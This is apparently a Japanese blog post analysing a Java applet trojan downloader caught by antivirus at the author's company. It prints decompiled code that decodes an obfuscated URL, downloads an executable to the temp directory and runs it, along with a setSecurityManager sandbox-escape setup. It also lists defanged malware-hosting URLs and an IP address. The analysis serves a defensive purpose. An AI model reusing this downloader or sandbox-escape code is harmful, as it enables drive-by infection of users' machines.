社内でJavaアプレットを使ったトロイの木馬をアンチウイルスソフトが検知しました。
ESETではJava/TrojanDownloader.OpenStream.NAU、KASPERSKYではTrojan-Downloader.Java.OpenConnection.bu、TrendMicroではJAVA_DLOAD.SPと検知されます。
ttp://failinnocent.co.cc/statistic/anywirxngohpiw.jar というのが引っ掛かったみたいです。
このJARをダウンロードして解析してみました。
まず、JARファイルを下記コマンドで解凍してクラスファイルを取り出します。(Javaが入ってる必要性があります。)
jar xvf anywirxngohpiw.jar
672 KAVS.class
461 a$1.class
2212 a.class
1422 b.class
a.classが引っ掛かってたんですが、それぞれのクラスファイルを逆コンパイルしてみました。
Javaの逆コンパイルはJADを使うのが一般的ですが、オンライン Java 逆コンパイルツールだと、オンラインでできるので便利です。
逆コンパイル結果は下記のようになりました。
・a.class
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: a.java
package bpac;
import java.applet.*;
import java.io.*;
import java.net.*;
import java.util.*;
import javax.swing.*;
// Referenced classes of package bpac:
// KAVS, b
public class a extends Applet { //アプレットを使ってる
public void start() {
super.start();
try {
String s = b.b(getParameter("a")); //HTTPパラメータaを取得。このパラメータが難読化したマルウェア本体のURL。難読化をb.b()で解除。
String s1 = "exe.";
String s2 = "ridpmt.oi.avaj";
String s3 = "eman.so";
String s4 = "ty";
String s5 = (new StringBuffer(s1)).reverse().toString();
String s6 = (new StringBuffer(s2)).reverse().toString();
String s7 = (new StringBuffer(s3)).reverse().toString();
String s8 = "zb";
String s9 = (new StringBuilder()).append(Math.random()).append(s5).toString(); //ランダム整数.exe
String s10 = System.getProperty(s6); //java.io.tmpdir
String s11 = System.getProperty(s7); //os.name
try {
if(s11.indexOf("Windows") >= 0) {
//Windowsなら可読化したウイルス配布先より、ウイルス本体ダウンロードし、一時ディレクトリのランダム整数.exeにデータ書き出す
URL url = new URL(s);
url.openConnection();
InputStream inputstream = url.openStream();
FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s10).append(s9).toString()); //java.io.tmpdir.ランダム整数.exe
byte abyte0[] = new byte[1024];
int i;
while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1) {
fileoutputstream.write(abyte0, 0, i);
}
inputstream.close();
fileoutputstream.close();
Runtime runtime = Runtime.getRuntime();
//マルウェア本体を実行
runtime.exec((new StringBuilder()).append(s10).append(s9).toString());
}
}
catch(Exception exception1) { }
}
catch(Exception exception) { }
}
public a() {
Object obj = java/lang/System;
String s = "setSecurityManager";
Object aobj[] = {
null
};
KAVS kavs = new KAVS(obj, s, aobj);
HashSet hashset = new HashSet();
hashset.add(kavs);
_cls1 _lcls1 = new Object(hashset) /* anonymous class not found */
class _anm1 {}
;
JList jlist = new JList(new Object[] {
_lcls1
});
add(jlist);
}
}
・b.class
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: b.java
package bpac;
public class b {
public b() {
}
//難読化したURLを可読化するだけ
public static String b(String s) {
String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", "i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B", "n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S", "t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?", "z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A", "1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$", "7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();
return s1;
}
}
・KAVS.class
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(1) braces fieldsfirst nonlb
// Source File Name: KAVS.java
package bpac;
import java.beans.*;
import java.util.*;
// Referenced classes of package bpac:
// Test
public class KAVS extends Expression
implements java.util.Map.Entry {
java.util.Map.Entry entry;
public KAVS(Object target, String methodName, Object arguments[]) {
super(target, methodName, arguments);
}
public Object getKey() {
return null;
}
}
コメントにも書いてますが、HTTPパラメータで渡された難読化されたマルウェア配布サーバURLを取得し、可読化しアプレットから実行というものらしいです。
このJARファイルの前に ttp://failinnocent.co.cc/statistic/kscldwjsfwgpi.pdf 、そしてこのPDFの前に ttp://failinnocent.co.cc/statistic/budrdqcrjnymkl4.php にアクセスしています。
このPDFですが、ESET製品では検知しなかったものの、他のアンチウイルスでは検知しました。
Dr.Webで Exploit.PDF.1654 、TrendMicroでTROJ_PIDIEF.SMZBというものです。
WepawetでこのPDFをチェックすると、ttp://213.5.64.194/statistic/crf.php?i=8 が潜在的なマルウェアと出てきます。
問題のjarファイルやPDFはおそらくbudrdqcrjnymkl4.phpから飛んできたんじゃないかと思います。でもこのPHPに再度アクセスルすると空でした。おそらく一回アクセスしてすると解析をしづらくするために空ページにするのかもしれません。
ただこのphpにどうやってアクセスしたのかがプロキシのログを解析しても分かりませんでした。多分改ざんされたページからリダイレクトしてきたんじゃないかと思うんですが。。。